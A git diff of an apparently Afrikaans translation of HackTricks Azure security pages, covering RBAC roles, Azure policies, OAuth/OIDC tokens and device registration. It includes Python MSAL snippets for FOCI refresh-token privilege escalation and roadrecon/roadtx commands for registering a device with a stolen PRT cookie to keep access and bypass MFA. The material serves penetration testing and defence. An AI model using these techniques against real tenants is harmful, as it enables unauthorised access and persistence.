kan jy jou eie [**Azure pasgemaakte rolle**](https://learn.microsoft.com/en-us/azure/role-based-access-control/custom-roles)** skep.** **Gebou-in** rolle geld slegs vir die **hulpbronne** waarvoor hulle **bedoel** is, byvoorbeeld kyk na hierdie 2 voorbeelde van **Gebou-in rolle oor Compute** hulpbronne: -| [Disk Backup Reader](https://learn.microsoft.com/en-us/azure/role-based-access-control/built-in-roles#disk-backup-reader) | Bied toestemming aan om rugsteun kluise te gebruik om disk rugsteun te doen. | 3e5e47e6-65f7-47ef-90b5-e5dd4d455f24 | +| [Disk Backup Reader](https://learn.microsoft.com/en-us/azure/role-based-access-control/built-in-roles#disk-backup-reader) | Bied toestemming aan om rugsteun kluise te laat rugsteun. | 3e5e47e6-65f7-47ef-90b5-e5dd4d455f24 | | ----------------------------------------------------------------------------------------------------------------------------------------- | ---------------------------------------------------------------- | ------------------------------------ | -| [Virtuele Masjien Gebruiker Aanmelding](https://learn.microsoft.com/en-us/azure/role-based-access-control/built-in-roles#virtual-machine-user-login) | Sien Virtuele Masjiene in die portaal en meld aan as 'n gewone gebruiker. | fb879df8-f326-4884-b1cf-06f3ad86be52 | +| [Virtuele Masjien Gebruiker Aanmelding](https://learn.microsoft.com/en-us/azure/role-based-access-control/built-in-roles#virtual-machine-user-login) | Sien Virtuele Masjiene in die portaal en teken in as 'n gewone gebruiker. | fb879df8-f326-4884-b1cf-06f3ad86be52 | -Hierdie rolle kan **ook toegeken word oor logiese houers** (soos bestuursgroepe, subskripsies en hulpbron groepe) en die prinsipale wat geraak word, sal dit **oor die hulpbronne binne daardie houers** hê. +Hierdie rolle kan **ook oor logiese houers** (soos bestuur groepe, subskripsies en hulpbron groepe) toegeken word en die prinsipale wat geraak word, sal dit **oor die hulpbronne binne daardie houers** hê. - Vind hier 'n lys met [**alle Azure gebou-in rolle**](https://learn.microsoft.com/en-us/azure/role-based-access-control/built-in-roles). - Vind hier 'n lys met [**alle Entra ID gebou-in rolle**](https://learn.microsoft.com/en-us/azure/active-directory/roles/permissions-reference). @@ -253,7 +253,7 @@ Hierdie rolle kan **ook toegeken word oor logiese houers** (soos bestuursgroepe, ### Pasgemaakte Rolle - Dit is ook moontlik om [**pasgemaakte rolle**](https://learn.microsoft.com/en-us/azure/role-based-access-control/custom-roles) te skep -- Hulle word binne 'n skaal geskep, alhoewel 'n rol in verskeie skale kan wees (bestuursgroepe, subskripsie en hulpbron groepe) +- Hulle word binne 'n skaal geskep, alhoewel 'n rol in verskeie skale kan wees (bestuur groepe, subskripsie en hulpbron groepe) - Dit is moontlik om al die fynere toestemmings wat die pasgemaakte rol sal hê, te konfigureer - Dit is moontlik om toestemmings uit te sluit - 'n prinsipaal met 'n uitgeslote toestemming sal dit nie kan gebruik nie, selfs al word die toestemming elders toegeken @@ -294,16 +294,16 @@ Voorbeeld van toestemmings JSON vir 'n pasgemaakte rol: ``` ### Permissies volgorde -- Ten einde vir 'n **hoofpersoon om toegang tot 'n hulpbron te hê** moet daar 'n eksplisiete rol aan hom toegeken word (op enige manier) **wat hom daardie toestemming gee**. +- Om 'n **hoofpersoon toegang tot 'n hulpbron te hê**, moet daar 'n eksplisiete rol aan hom toegeken word (op enige manier) **wat hom daardie toestemming gee**. - 'n Eksplisiete **weier roltoewysing het voorrang** bo die rol wat die toestemming gee.

https://link.springer.com/chapter/10.1007/978-1-4842-7325-8_10

### Globale Administrateur -Globale Administrateur is 'n rol van Entra ID wat **volledige beheer oor die Entra ID huurder gee**. Dit gee egter nie standaard enige toestemmings oor Azure hulpbronne nie. +Globale Administrateur is 'n rol van Entra ID wat **volledige beheer oor die Entra ID huurder** gee. Dit gee egter nie standaard enige toestemming oor Azure hulpbronne nie. -Gebruikers met die Globale Administrateur rol het die vermoë om '**te verhoog' na die Gebruikerstoegang Administrateur Azure rol in die Wortelbestuursgroep**. So kan Globale Administrateurs toegang in **alle Azure subskripsies en bestuursgroepe bestuur.**\ +Gebruikers met die Globale Administrateur rol het die vermoë om te '**verhoog' na die Gebruikerstoegang Administrateur Azure rol in die Wortelbestuursgroep**. So kan Globale Administrateurs toegang in **alle Azure subskripsies en bestuursgroepe bestuur.**\ Hierdie verhoging kan aan die einde van die bladsy gedoen word: [https://portal.azure.com/#view/Microsoft_AAD_IAM/ActiveDirectoryMenuBlade/\~/Properties](https://portal.azure.com/#view/Microsoft_AAD_IAM/ActiveDirectoryMenuBlade/~/Properties)
@@ -312,7 +312,7 @@ Hierdie verhoging kan aan die einde van die bladsy gedoen word: [https://portal. **Azure Beleide** is reëls wat organisasies help om te verseker dat hul hulpbronne aan spesifieke standaarde en nakomingsvereistes voldoen. Hulle stel jou in staat om **instellings op hulpbronne in Azure af te dwing of te oudit**. Byvoorbeeld, jy kan die skepping van virtuele masjiene in 'n nie-geautoriseerde streek voorkom of verseker dat alle hulpbronne spesifieke etikette het vir opsporing. -Azure Beleide is **proaktief**: hulle kan nie-nakomende hulpbronne stop om geskep of verander te word. Hulle is ook **reaktief**, wat jou toelaat om bestaande nie-nakomende hulpbronne te vind en reg te stel. +Azure Beleide is **proaktief**: hulle kan nie-nakomende hulpbronne keer om geskep of verander te word. Hulle is ook **reaktief**, wat jou toelaat om bestaande nie-nakomende hulpbronne te vind en reg te stel. #### **Belangrike Konsepte** @@ -326,9 +326,9 @@ Azure Beleide is **proaktief**: hulle kan nie-nakomende hulpbronne stop om geske 1. **Verseker Nakoming met Spesifieke Azure Streke**: Hierdie beleid verseker dat alle hulpbronne in spesifieke Azure streke ontplooi word. Byvoorbeeld, 'n maatskappy mag wil verseker dat al sy data in Europa gestoor word vir GDPR-nakoming. 2. **Afgedwonge Naamstandaarde**: Beleide kan naamkonvensies vir Azure hulpbronne afdwing. Dit help om hulpbronne te organiseer en maklik te identifiseer op grond van hul name, wat nuttig is in groot omgewings. 3. **Beperking van Sekere Hulpbron Tipes**: Hierdie beleid kan die skepping van sekere tipes hulpbronne beperk. Byvoorbeeld, 'n beleid kan ingestel word om die skepping van duur hulpbron tipes, soos sekere VM-groottes, te voorkom om koste te beheer. -4. **Afgedwonge Etikettering Beleide**: Etikette is sleutel-waarde pare wat met Azure hulpbronne geassosieer word en gebruik word vir hulpbronbestuur. Beleide kan afdwing dat sekere etikette teenwoordig moet wees, of spesifieke waardes moet hê, vir alle hulpbronne. Dit is nuttig vir kostesporing, eienaarskap, of kategorisering van hulpbronne. +4. **Afgedwonge Etikettering Beleide**: Etikette is sleutel-waarde pare wat met Azure hulpbronne geassosieer word en gebruik word vir hulpbronbestuur. Beleide kan afdwing dat sekere etikette teenwoordig moet wees, of spesifieke waardes moet hê, vir alle hulpbronne. Dit is nuttig vir kostebestuur, eienaarskap, of kategorisering van hulpbronne. 5. **Beperking van Publieke Toegang tot Hulpbronne**: Beleide kan afdwing dat sekere hulpbronne, soos stoor rekeninge of databasisse, nie publieke eindpunte het nie, wat verseker dat hulle slegs binne die organisasie se netwerk toeganklik is. -6. **Outomatiese Toepassing van Sekuriteitsinstellings**: Beleide kan gebruik word om outomaties sekuriteitsinstellings op hulpbronne toe te pas, soos om 'n spesifieke netwerk sekuriteitsgroep op alle VM's toe te pas of te verseker dat alle stoor rekeninge versleuteling gebruik. +6. **Outomatiese Toepassing van Sekuriteitsinstellings**: Beleide kan gebruik word om outomaties sekuriteitsinstellings op hulpbronne toe te pas, soos om 'n spesifieke netwerk sekuriteitsgroep op alle VM's toe te pas of om te verseker dat alle stoor rekeninge versleuteling gebruik. Let daarop dat Azure Beleide aan enige vlak van die Azure hiërargie geheg kan word, maar hulle word **gewoonlik in die wortelbestuursgroep** of in ander bestuursgroepe gebruik. @@ -354,17 +354,17 @@ Azure beleid json voorbeeld: In Azure **kan toestemmings aan enige deel van die hiërargie toegeken word**. Dit sluit bestuursgroepe, subskripsies, hulpbron groepe, en individuele hulpbronne in. Toestemmings word **geërf** deur die ingeslote **hulpbronne** van die entiteit waar hulle toegeken is. -Hierdie hiërargiese struktuur stel doeltreffende en skaalbare bestuur van toegangstoestemmings in staat. +Hierdie hiërargiese struktuur stel in staat vir doeltreffende en skaalbare bestuur van toegangstoestemmings.
### Azure RBAC vs ABAC -**RBAC** (rol-gebaseerde toegangbeheer) is wat ons reeds in die vorige afdelings gesien het: **'n rol aan 'n prinsiep toe te ken om hom toegang te gee** oor 'n hulpbron.\ -E however, in sommige gevalle wil jy dalk **meer fyn-gegradeerde toegangsbewaking** of **vereenvoudig** die bestuur van **honderde** rol **toekennings**. +**RBAC** (rol-gebaseerde toegangbeheer) is wat ons reeds in die vorige afdelings gesien het: **'n rol aan 'n prinsiep toe te ken om hom toegang** tot 'n hulpbron te gee.\ +E however, in sommige gevalle wil jy dalk **meer fyn-granulêre toegangsbewaking** bied of **die bestuur** van **honderde** rol **toekennings** vereenvoudig. -Azure **ABAC** (attribuut-gebaseerde toegangbeheer) bou op Azure RBAC deur **roltoekenningsvoorwaardes gebaseer op attribuute** in die konteks van spesifieke aksies by te voeg. 'n _roltoekenningsvoorwaarde_ is 'n **addisionele kontrole wat jy opsioneel aan jou roltoekenning kan voeg** om meer fyn-gegradeerde toegangbeheer te bied. 'n Voorwaarde filter die toestemmings wat as deel van die roldefinisie en roltoekenning toegeken word. Byvoorbeeld, jy kan **'n voorwaarde byvoeg wat vereis dat 'n objek 'n spesifieke etiket moet hê om die objek te lees**.\ -Jy **kan nie** eksplisiet **toegang** tot spesifieke hulpbronne **weier nie** **met behulp van voorwaardes**. +Azure **ABAC** (attribuut-gebaseerde toegangbeheer) bou op Azure RBAC deur **roltoekenningsvoorwaardes gebaseer op attribuute** in die konteks van spesifieke aksies by te voeg. 'n _roltoekenningsvoorwaarde_ is 'n **addisionele kontrole wat jy opsioneel aan jou roltoekenning kan voeg** om meer fyn-granulêre toegangbeheer te bied. 'n voorwaarde filter die toestemmings wat as deel van die roldefinisie en roltoekenning toegeken word. Byvoorbeeld, jy kan **'n voorwaarde byvoeg wat vereis dat 'n objek 'n spesifieke etiket moet hê om die objek te lees**.\ +Jy **kan nie** eksplisiet **toegang** tot spesifieke hulpbronne **weier** **met behulp van voorwaardes** nie. ## Verwysings diff --git a/src/pentesting-cloud/azure-security/az-basic-information/az-tokens-and-public-applications.md b/src/pentesting-cloud/azure-security/az-basic-information/az-tokens-and-public-applications.md index 16871b37d..2a5101086 100644 --- a/src/pentesting-cloud/azure-security/az-basic-information/az-tokens-and-public-applications.md +++ b/src/pentesting-cloud/azure-security/az-basic-information/az-tokens-and-public-applications.md @@ -2,9 +2,9 @@ {{#include ../../../banners/hacktricks-training.md}} -## Basic Information +## Basiese Inligting -Entra ID is Microsoft's cloud-based identity and access management (IAM) platform, serving as the foundational authentication and authorization system for services like Microsoft 365 and Azure Resource Manager. Azure AD implementeer die OAuth 2.0-autoriseringsraamwerk en die OpenID Connect (OIDC) autentikasieprotokol om toegang tot hulpbronne te bestuur. +Entra ID is Microsoft se wolk-gebaseerde identiteit en toegang bestuur (IAM) platform, wat dien as die fundamentele autentikasie en magtiging stelsel vir dienste soos Microsoft 365 en Azure Resource Manager. Azure AD implementeer die OAuth 2.0 magtiging raamwerk en die OpenID Connect (OIDC) autentikasie protokol om toegang tot hulpbronne te bestuur. ### OAuth @@ -12,51 +12,51 @@ Entra ID is Microsoft's cloud-based identity and access management (IAM) platfor 1. **Hulpbronbediener (RS):** Beskerm hulpbronne wat deur die hulpbron eienaar besit word. 2. **Hulpbron Eienaar (RO):** Tipies 'n eindgebruiker wat die beskermde hulpbronne besit. -3. **Kliënttoepassing (CA):** 'n Toepassing wat toegang tot hulpbronne soek namens die hulpbron eienaar. -4. **Autoriseringsbediener (AS):** Gee toegangstokens aan kliënttoepassings nadat dit hulle geverifieer en geautoriseer het. +3. **Kliënt Toepassing (CA):** 'n Toepassing wat toegang tot hulpbronne soek namens die hulpbron eienaar. +4. **Magtigingsbediener (AS):** Gee toegangstokens aan kliënttoepassings nadat dit hulle geverifieer en gemagtig het. **Skoppe en Toestemming:** -- **Skoppe:** Fyn gespesifiseerde toestemmings op die hulpbronbediener wat toegangsvlakke spesifiseer. +- **Skoppe:** Fynkorrelige toestemmings wat op die hulpbronbediener gedefinieer is wat toegangsvlakke spesifiseer. - **Toestemming:** Die proses waardeur 'n hulpbron eienaar 'n kliënttoepassing toestemming gee om toegang tot hulpbronne met spesifieke skoppe te verkry. **Microsoft 365 Integrasie:** - Microsoft 365 gebruik Azure AD vir IAM en bestaan uit verskeie "eerste-party" OAuth-toepassings. - Hierdie toepassings is diep geïntegreer en het dikwels onderling afhanklike diensverhoudings. -- Om die gebruikerservaring te vereenvoudig en funksionaliteit te handhaaf, gee Microsoft "implisiete toestemming" of "vooraf toestemming" aan hierdie eerste-party toepassings. -- **Implisiete Toestemming:** Sekere toepassings word outomaties **toegang tot spesifieke skoppe sonder eksplisiete gebruiker of administrateur goedkeuring gegee**. +- Om die gebruikerservaring te vereenvoudig en funksionaliteit te handhaaf, verleen Microsoft "implisiete toestemming" of "vooraf toestemming" aan hierdie eerste-party toepassings. +- **Implisiete Toestemming:** Sekere toepassings word outomaties **toegestaan om toegang tot spesifieke skoppe te verkry sonder eksplisiete gebruiker of administrateur goedkeuring**. - Hierdie vooraf goedgekeurde skoppe is tipies verborge vir beide gebruikers en administrateurs, wat dit minder sigbaar maak in standaard bestuursinterfaces. -**Kliënttoepassing Tipes:** +**Kliënt Toepassing Tipes:** 1. **Vertroulike Kliënte:** - Besit hul eie geloofsbriewe (bv. wagwoorde of sertifikate). -- Kan **veilig hulself autentiseer** by die autoriseringsbediener. +- Kan **veilig hulself autentiseer** by die magtigingsbediener. 2. **Publieke Kliënte:** - Het nie unieke geloofsbriewe nie. -- Kan nie veilig autentiseer by die autoriseringsbediener nie. -- **Sekuriteitsimplikasie:** 'n Aanvaller kan 'n publieke kliënttoepassing naboots wanneer hy tokens aan vra, aangesien daar geen meganisme is vir die autoriseringsbediener om die legitimiteit van die toepassing te verifieer nie. +- Kan nie veilig autentiseer by die magtigingsbediener nie. +- **Sekuriteitsimplikasie:** 'n Aanvaller kan 'n publieke kliënttoepassing naboots wanneer hy tokens aan vra, aangesien daar geen meganisme is vir die magtigingsbediener om die legitimiteit van die toepassing te verifieer nie. -## Authentication Tokens +## Autentikasie Tokens Daar is **drie tipes tokens** wat in OIDC gebruik word: -- [**Toegangstokens**](https://learn.microsoft.com/en-us/azure/active-directory/develop/access-tokens)**:** Die kliënt bied hierdie token aan die hulpbronbediener aan om **toegang tot hulpbronne** te verkry. Dit kan slegs gebruik word vir 'n spesifieke kombinasie van gebruiker, kliënt en hulpbron en **kan nie herroep word** tot vervaldatum nie - dit is 1 uur per standaard. -- **ID Tokens**: Die kliënt ontvang hierdie **token van die autoriseringsbediener**. Dit bevat basiese inligting oor die gebruiker. Dit is **gebind aan 'n spesifieke kombinasie van gebruiker en kliënt**. -- **Herfris Tokens**: Verskaf aan die kliënt saam met toegangstoken. Gebruik om **nuwe toegang en ID tokens te verkry**. Dit is gebind aan 'n spesifieke kombinasie van gebruiker en kliënt en kan herroep word. Standaard vervaldatum is **90 dae** vir inaktiewe herfris tokens en **geen vervaldatum vir aktiewe tokens** (dit is moontlik om nuwe herfris tokens van 'n herfris token te verkry). -- 'n Herfris token moet gekoppel wees aan 'n **`aud`**, aan sekere **skoppe**, en aan 'n **tenant** en dit moet slegs in staat wees om toegangstokens vir daardie aud, skoppe (en nie meer nie) en tenant te genereer. Dit is egter nie die geval met **FOCI toepassings tokens** nie. -- 'n Herfris token is versleuteld en slegs Microsoft kan dit ontsleutel. -- Om 'n nuwe herfris token te verkry, herroep nie die vorige herfris token nie. +- [**Toegangstokens**](https://learn.microsoft.com/en-us/azure/active-directory/develop/access-tokens)**:** Die kliënt bied hierdie token aan die hulpbronbediener voor om **toegang tot hulpbronne** te verkry. Dit kan slegs gebruik word vir 'n spesifieke kombinasie van gebruiker, kliënt, en hulpbron en **kan nie herroep** word tot vervaldatum nie - dit is 1 uur per standaard. +- **ID Tokens**: Die kliënt ontvang hierdie **token van die magtigingsbediener**. Dit bevat basiese inligting oor die gebruiker. Dit is **gebind aan 'n spesifieke kombinasie van gebruiker en kliënt**. +- **Herlaai Tokens**: Verskaf aan die kliënt saam met toegangstoken. Gebruik om **nuwe toegang en ID tokens te verkry**. Dit is gebind aan 'n spesifieke kombinasie van gebruiker en kliënt en kan herroep word. Standaard vervaldatum is **90 dae** vir inaktiewe herlaai tokens en **geen vervaldatum vir aktiewe tokens** (dit is moontlik om nuwe herlaai tokens uit 'n herlaai token te verkry). +- 'n Herlaai token moet gekoppel wees aan 'n **`aud`**, aan sekere **skoppe**, en aan 'n **tenant** en dit moet slegs in staat wees om toegangstokens vir daardie aud, skoppe (en nie meer nie) en tenant te genereer. Dit is egter nie die geval met **FOCI toepassings tokens** nie. +- 'n Herlaai token is versleuteld en slegs Microsoft kan dit ontsleutel. +- Om 'n nuwe herlaai token te verkry, herroep nie die vorige herlaai token nie. > [!WARNING] -> Inligting vir **voorwaardelike toegang** is **gestoor** binne die **JWT**. So, as jy die **token van 'n toegelate IP-adres** aan vra, sal daardie **IP** in die token **gestoor** word en dan kan jy daardie token van 'n **nie-toegelate IP gebruik om toegang tot die hulpbronne** te verkry. +> Inligting vir **voorwaardelike toegang** is **gestoor** binne die **JWT**. So, as jy die **token van 'n toegelate IP adres** aan vra, sal daardie **IP** in die token **gestoor** word en dan kan jy daardie token van 'n **nie-toegelate IP gebruik om toegang tot die hulpbronne** te verkry. -### Access Tokens "aud" +### Toegangstokens "aud" Die veld wat in die "aud" veld aangedui word, is die **hulpbronbediener** (die toepassing) wat gebruik word om die aanmelding uit te voer. -Die opdrag `az account get-access-token --resource-type [...]` ondersteun die volgende tipes en elkeen van hulle sal 'n spesifieke "aud" in die resulterende toegangstoken voeg: +Die opdrag `az account get-access-token --resource-type [...]` ondersteun die volgende tipes en elkeen daarvan sal 'n spesifieke "aud" in die resulterende toegangstoken voeg: > [!CAUTION] > Let daarop dat die volgende net die API's is wat deur `az account get-access-token` ondersteun word, maar daar is meer. @@ -68,19 +68,19 @@ Die opdrag `az account get-access-token --resource-type [...]` ondersteun die vo - **aad-graph (Azure Active Directory Graph API)**: Gebruik om toegang te verkry tot die ouer Azure AD Graph API (verouderd), wat toepassings toelaat om gidsdata in Azure Active Directory (Azure AD) te lees en te skryf. - `https://graph.windows.net/` -* **arm (Azure Resource Manager)**: Gebruik om Azure hulpbronne te bestuur deur die Azure Resource Manager API. Dit sluit operasies in soos die skep, opdateer en verwyder van hulpbronne soos virtuele masjiene, stoor rekeninge, en meer. +* **arm (Azure Resource Manager)**: Gebruik om Azure hulpbronne te bestuur deur die Azure Resource Manager API. Dit sluit operasies in soos die skep, opdateer, en verwyder van hulpbronne soos virtuele masjiene, stoor rekeninge, en meer. - `https://management.core.windows.net/ of https://management.azure.com/` - **batch (Azure Batch Services)**: Gebruik om toegang te verkry tot Azure Batch, 'n diens wat grootmaat parallelle en hoë-prestasie rekenaar toepassings doeltreffend in die wolk moontlik maak. - `https://batch.core.windows.net/` -* **data-lake (Azure Data Lake Storage)**: Gebruik om te kommunikeer met Azure Data Lake Storage Gen1, wat 'n skaalbare data berging en analise diens is. +* **data-lake (Azure Data Lake Storage)**: Gebruik om te kommunikeer met Azure Data Lake Storage Gen1, wat 'n skaalbare data stoor en analise diens is. - `https://datalake.azure.net/` - **media (Azure Media Services)**: Gebruik om toegang te verkry tot Azure Media Services, wat wolk-gebaseerde media verwerking en aflewering dienste vir video en klank inhoud bied. - `https://rest.media.azure.net` -* **ms-graph (Microsoft Graph API)**: Gebruik om toegang te verkry tot die Microsoft Graph API, die verenigde eindpunt vir Microsoft 365 dienste data. Dit laat jou toe om data en insigte van dienste soos Azure AD, Office 365, Enterprise Mobility, en Sekuriteitsdienste te verkry. +* **ms-graph (Microsoft Graph API)**: Gebruik om toegang te verkry tot die Microsoft Graph API, die verenigde eindpunt vir Microsoft 365 dienste data. Dit laat jou toe om toegang te verkry tot data en insigte van dienste soos Azure AD, Office 365, Enterprise Mobility, en Sekuriteitsdienste. - `https://graph.microsoft.com` - **oss-rdbms (Azure Open Source Relational Databases)**: Gebruik om toegang te verkry tot Azure Databasis dienste vir oopbron relationele databasis enjin soos MySQL, PostgreSQL, en MariaDB. @@ -88,13 +88,13 @@ Die opdrag `az account get-access-token --resource-type [...]` ondersteun die vo
-### Access Tokens Skoppe "scp" +### Toegangstokens Skoppe "scp" Die skop van 'n toegangstoken word binne die scp sleutel binne die toegangstoken JWT gestoor. Hierdie skoppe definieer waartoe die toegangstoken toegang het. -As 'n JWT toegelaat word om 'n spesifieke API te kontak, maar **nie die skop het** om die aangevraagde aksie uit te voer nie, sal dit **nie in staat wees om die aksie** met daardie JWT uit te voer nie. +As 'n JWT toegelaat word om 'n spesifieke API te kontak maar **nie die skop** het om die aangevraagde aksie uit te voer nie, sal dit **nie in staat wees om die aksie** met daardie JWT uit te voer nie. -### Kry herfris & toegang token voorbeeld +### Kry herlaai & toegang token voorbeeld ```python # Code example from https://github.com/secureworks/family-of-client-ids-research import msal @@ -121,7 +121,6 @@ device_flow pprint(azure_cli_bearer_tokens_for_graph_api) - # DECODE JWT def decode_jwt(base64_blob: str) -> Dict[str, Any]: """Decodes base64 encoded JWT blob""" @@ -147,17 +146,17 @@ pprint(new_azure_cli_bearer_tokens_for_graph_api) ``` ## FOCI Tokens Privilege Escalation -Voorheen is genoem dat verfrissingstokens aan die **scopes** waaraan dit gegenereer is, aan die **toepassing** en **huurder** waaraan dit gegenereer is, gekoppel moet wees. As enige van hierdie grense oorgesteek word, is dit moontlik om voorregte te verhoog, aangesien dit moontlik sal wees om toegangstokens vir ander hulpbronne en huurders te genereer waartoe die gebruiker toegang het en met meer scopes as wat oorspronklik bedoel was. +Voorheen is genoem dat verfrissingstokens aan die **skoppe** waaraan dit gegenereer is, aan die **aansoek** en **huurder** waaraan dit gegenereer is, gekoppel moet wees. As enige van hierdie grense oorgesteek word, is dit moontlik om voorregte te verhoog, aangesien dit moontlik sal wees om toegangstokens vir ander hulpbronne en huurders wat die gebruiker toegang het, te genereer en met meer skoppe as wat oorspronklik bedoel was. -Boonop, **dit is moontlik met alle verfrissingstokens** in die [Microsoft identity platform](https://learn.microsoft.com/en-us/entra/identity-platform/) (Microsoft Entra-rekeninge, Microsoft persoonlike rekeninge, en sosiale rekeninge soos Facebook en Google) omdat die [**dokumentasie**](https://learn.microsoft.com/en-us/entra/identity-platform/refresh-tokens) noem: "Verfrissingstokens is gebonde aan 'n kombinasie van gebruiker en kliënt, maar **is nie aan 'n hulpbron of huurder gekoppel nie**. 'n Kliënt kan 'n verfrissingstoken gebruik om toegangstokens te verkry **oor enige kombinasie van hulpbron en huurder** waar dit toestemming het om dit te doen. Verfrissingstokens is versleuteld en slegs die Microsoft identity platform kan dit lees." +Boonop **is dit moontlik met alle verfrissingstokens** in die [Microsoft identity platform](https://learn.microsoft.com/en-us/entra/identity-platform/) (Microsoft Entra-rekeninge, Microsoft persoonlike rekeninge, en sosiale rekeninge soos Facebook en Google) omdat, soos die [**dokumentasie**](https://learn.microsoft.com/en-us/entra/identity-platform/refresh-tokens) noem: "Verfrissingstokens is gebonde aan 'n kombinasie van gebruiker en kliënt, maar **is nie aan 'n hulpbron of huurder gekoppel nie**. 'n Kliënt kan 'n verfrissingstoken gebruik om toegangstokens **oor enige kombinasie van hulpbron en huurder** te verkry waar dit toestemming het om dit te doen. Verfrissingstokens is versleuteld en slegs die Microsoft identity platform kan dit lees." -Boonop, let daarop dat die FOCI-toepassings openbare toepassings is, so **geen geheim is nodig** om by die bediener te autentiseer. +Boonop, let daarop dat die FOCI aansoeke openbare aansoeke is, so **geen geheim is nodig** om by die bediener te autentiseer nie. -Dan bekende FOCI-kliënte wat in die [**oorspronklike navorsing**](https://github.com/secureworks/family-of-client-ids-research/tree/main) gerapporteer is, kan [**hier gevind word**](https://github.com/secureworks/family-of-client-ids-research/blob/main/known-foci-clients.csv). +Dan kan bekende FOCI kliënte wat in die [**oorspronklike navorsing**](https://github.com/secureworks/family-of-client-ids-research/tree/main) gerapporteer is, [**hier gevind word**](https://github.com/secureworks/family-of-client-ids-research/blob/main/known-foci-clients.csv). ### Get different scope -Volgende met die vorige voorbeeldkode, in hierdie kode word 'n nuwe token vir 'n ander scope aangevra: +Volgende met die vorige voorbeeldkode, in hierdie kode word 'n nuwe token vir 'n ander skoop aangevra: ```python # Code from https://github.com/secureworks/family-of-client-ids-research azure_cli_bearer_tokens_for_outlook_api = ( @@ -174,7 +173,7 @@ scopes=[ ) pprint(azure_cli_bearer_tokens_for_outlook_api) ``` -### Kry verskillende kliënt en skope +### Kry verskillende kliënte en skope ```python # Code from https://github.com/secureworks/family-of-client-ids-research microsoft_office_client = msal.PublicClientApplication("d3590ed6-52b3-4102-aeff-aad2292ab01c") diff --git a/src/pentesting-cloud/azure-security/az-device-registration.md b/src/pentesting-cloud/azure-security/az-device-registration.md index ef280df02..f52e25691 100644 --- a/src/pentesting-cloud/azure-security/az-device-registration.md +++ b/src/pentesting-cloud/azure-security/az-device-registration.md @@ -2,11 +2,11 @@ {{#include ../../banners/hacktricks-training.md}} -## Basic Information +## Basiese Inligting Wanneer 'n toestel by AzureAD aansluit, word 'n nuwe objek in AzureAD geskep. -Wanneer 'n toestel geregistreer word, **word die gebruiker gevra om in te log met sy rekening** (wat MFA vra indien nodig), dan versoek dit tokens vir die toestelregistrasiediens en vra dan 'n finale bevestigingsprompt. +Wanneer 'n toestel geregistreer word, **word die gebruiker gevra om met sy rekening aan te meld** (met MFA indien nodig), dan versoek dit tokens vir die toestelregistrasiediens en vra dan 'n finale bevestigingsprompt. Dan word twee RSA-sleutelpaar in die toestel gegenereer: Die **toestelsleutel** (**publieke** sleutel) wat na **AzureAD** gestuur word en die **transport** sleutel (**private** sleutel) wat in TPM gestoor word indien moontlik. @@ -14,7 +14,7 @@ Dan word die **objek** in **AzureAD** geskep (nie in Intune nie) en AzureAD gee ```bash dsregcmd /status ``` -Na die toestelregistrasie word 'n **Primary Refresh Token** deur die LSASS CloudAP-module aangevra en aan die toestel gegee. Met die PRT word ook die **sessiesleutel versleuteld sodat slegs die toestel dit kan ontsleutel** (met die publieke sleutel van die vervoersleutel) en dit is **nodig om die PRT te gebruik.** +Na die toestelregistrasie word 'n **Primêre Vernuwingsleutel** deur die LSASS CloudAP-module aangevra en aan die toestel gegee. Met die PRT word ook die **sessiesleutel gelewer wat slegs deur die toestel ontcijfer kan word** (met die publieke sleutel van die vervoersleutel) en dit is **nodig om die PRT te gebruik.** Vir meer inligting oor wat 'n PRT is, kyk: @@ -22,18 +22,18 @@ Vir meer inligting oor wat 'n PRT is, kyk: az-lateral-movement-cloud-on-prem/az-primary-refresh-token-prt.md {{#endref}} -### TPM - Trusted Platform Module +### TPM - Betroubare Platformmodule Die **TPM** **beskerm** teen sleutel **onttrekking** van 'n afgeskakel toestel (as dit deur 'n PIN beskerm word) en teen die onttrekking van die private materiaal uit die OS-laag.\ -Maar dit **beskerm nie** teen **sniffing** van die fisiese verbinding tussen die TPM en CPU of **gebruik van die kriptografiese materiaal** in die TPM terwyl die stelsel loop vanaf 'n proses met **SYSTEM** regte. +Maar dit **beskerm nie** teen **snuffeling** van die fisiese verbinding tussen die TPM en CPU of **gebruik van die kriptografiese materiaal** in die TPM terwyl die stelsel loop vanaf 'n proses met **SISTEEM** regte. -As jy die volgende bladsy kyk, sal jy sien dat **diefstal van die PRT** gebruik kan word om toegang te verkry soos 'n **gebruiker**, wat wonderlik is omdat die **PRT op toestelle geleë is**, so dit kan van hulle gesteel word (of as dit nie gesteel word, misbruik word om nuwe ondertekeningsleutels te genereer): +As jy die volgende bladsy kyk, sal jy sien dat **diefstal van die PRT** gebruik kan word om toegang te verkry soos 'n **gebruiker**, wat wonderlik is omdat die **PRT op toestelle geleë is**, so dit kan van hulle gesteel word (of as dit nie gesteel word, misbruik word om nuwe ondertekeningssleutels te genereer): {{#ref}} az-lateral-movement-cloud-on-prem/pass-the-prt.md {{#endref}} -## Registrasie van 'n toestel met SSO tokens +## Registrasie van 'n toestel met SSO-token Dit sou moontlik wees vir 'n aanvaller om 'n token vir die Microsoft toestelregistrasiediens van die gecompromitteerde toestel aan te vra en dit te registreer: ```bash @@ -47,24 +47,24 @@ roadrecon auth -r 01cb2876-7ebd-4aa4-9cc9-d28bd4d359a9 --prt-cookie # Custom pyhton script to register a device (check roadtx) registerdevice.py ``` -Which will give you a **sertifikaat wat jy kan gebruik om in die toekoms vir PRTs te vra**. Daarom om volharding te handhaaf en **MFA te omseil** omdat die oorspronklike PRT-token wat gebruik is om die nuwe toestel te registreer **reeds MFA-toestemmings toegeken het**. +Wat jou 'n **sertifikaat sal gee wat jy kan gebruik om in die toekoms vir PRT's te vra**. Dit hou dus volharding in stand en **omseil MFA** omdat die oorspronklike PRT-token wat gebruik is om die nuwe toestel te registreer **reeds MFA-toestemmings toegeken het**. > [!TIP] -> Let daarop dat jy toestemming nodig het om **nuwe toestelle te registreer** om hierdie aanval uit te voer. Ook, die registrasie van 'n toestel beteken nie dat die toestel **toegelaat sal word om in Intune te registreer** nie. +> Let daarop dat jy toestemming nodig sal hê om **nuwe toestelle te registreer** om hierdie aanval uit te voer. Ook, die registrasie van 'n toestel beteken nie dat die toestel **toegelaat sal word om in Intune in te skryf** nie. > [!CAUTION] > Hierdie aanval is in September 2021 reggestel aangesien jy nie meer nuwe toestelle kan registreer met 'n SSO-token nie. Dit is egter steeds moontlik om toestelle op 'n wettige manier te registreer (met gebruikersnaam, wagwoord en MFA indien nodig). Kyk: 